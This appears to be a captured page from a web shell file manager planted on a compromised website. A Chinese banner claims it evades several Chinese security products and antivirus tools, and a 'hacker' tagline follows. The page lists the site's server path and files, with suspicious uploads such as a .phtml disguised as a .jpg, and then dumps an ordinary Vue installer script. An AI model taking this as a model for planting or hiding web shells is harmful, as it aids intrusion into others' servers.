4a5feb12465f66947af2f40a4785344e/******/////*///// 请勿使用非法用途


过安全狗、云锁、阿里云、360、护卫神、D盾、百度云、各种杀软!

iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/drive/domains/drive.vcenetwork.com/public_html/public

upload file:

List of files:

name file size edit permission action
.htaccess1125 KBFebruary 26 2023 04:58:260644
1.zip1856 KBMay 26 2025 03:52:060644
arl.txt1 KBMay 26 2025 03:58:190644
build-August 19 2024 20:27:470755
cabs.jpg.phtml34996 KBMay 25 2025 13:50:430644
cool30203 KBMay 26 2025 03:49:270644
cool.php44 KBMay 26 2025 03:50:140644
favicon-May 26 2025 07:38:380755
favicon.ico502 KBAugust 19 2024 21:12:300644
htaccess.example1125 KBMay 20 2024 07:03:520755
images-August 19 2024 20:27:470755
index.php1949 KBMay 20 2024 07:03:520755
install_files-July 31 2023 19:05:060755
invoice.css99133 KBMay 20 2024 07:03:520644
manifest.json1055 KBAugust 19 2024 21:25:160644
robots.txt1154 KBJune 07 2025 12:24:520755
storage-May 25 2025 13:49:550755
style.php26 KBMay 26 2025 03:52:280644
swagger.yaml33646 KBMay 20 2024 07:03:520755
web.config914 KBMay 20 2024 07:03:520755
var app = new Vue({ el: '#app', created: function () { this.$vuetify.theme.primary = '#1565c0'; }, data: function () { return { errorMessage: null, loading: false, currentStep: 1, steps: { introduction: { number: 1, completed: true, }, requirements: { number: 2, completed: false, data: {}, }, filesystem: { number: 3, completed: false, data: {}, }, database: { number: 4, completed: false, }, admin: { number: 5, completed: false, }, final: { number: 6, completed: false, }, }, databaseForm: { db_host: 'localhost', db_database: '', db_username: 'root', db_password: '', db_prefix: '', db_port: '', }, adminForm: { username: '', email: '', password: '', password_confirmation: '', }, }; }, computed: { canGoToNextStep: function () { var vue = this; var key = Object.keys(this.steps).find(function (key) { return vue.steps[key].number === vue.currentStep; }); return !this.loading && this.steps[key] && this.steps[key].completed; }, }, watch: { currentStep: function (stepNumber, oldStep) { if (stepNumber === this.steps.requirements.number) { this.checkRequirements(); } else if (stepNumber === this.steps.filesystem.number) { this.checkFilesystem(); } }, }, methods: { nextStep: function () { this.currentStep = this.currentStep + 1; }, checkRequirements: function (nextStep) { var vue = this; this.callBackend('onCheckRequirements').then(function (response) { if (!response) return; vue.steps.requirements.data = response.data; vue.steps.requirements.completed = vue.noIssues(response.data); if (nextStep && vue.steps.filesystem.completed) { vue.nextStep(); } }); }, checkFilesystem: function (nextStep) { var vue = this; this.callBackend('onCheckFileSystem').then(function (response) { if (!response) return; vue.steps.filesystem.data = response.data; vue.steps.filesystem.completed = vue.noIssues(response.data); if (nextStep && vue.steps.filesystem.completed) { vue.nextStep(); } }); }, validateAndInsertDatabaseCredentials: function () { var vue = this; this.callBackend( 'onValidateAndInsertDatabaseCredentials', this.databaseForm ).then(function () { if (!vue.errorMessage) { vue.steps.database.completed = true; vue.nextStep(); } }); }, validateAdminCredentials: function () { var vue = this; this.callBackend('onValidateAdminCredentials').then(function () { if (!vue.errorMessage) { vue.steps.admin.completed = true; vue.nextStep(); } }); }, installApplication: function () { var vue = this; this.callBackend('onInstallApplication', vue.adminForm).then(function () { if (!vue.errorMessage) { vue.steps.final.completed = true; } }); }, noIssues: function (results) { return !Object.keys(results).some(function (key) { return !results[key].result; }); }, callBackend: function (handler, params) { this.loading = true; var vue = this; var data = new FormData(); data.set('handler', handler); if (params) { Object.keys(params).forEach(function (key) { data.set(key, params[key]); }); } return axios({ method: 'post', url: window.location.pathname, data: data, config: {headers: {'Content-Type': 'multipart/form-data'}}, }) .then(function (response) { vue.loading = false; vue.errorMessage = null; return response; }) .catch(function (error) { vue.loading = false; vue.errorMessage = error.response.data || 'An unspecified error occurred'; return false; }); }, }, });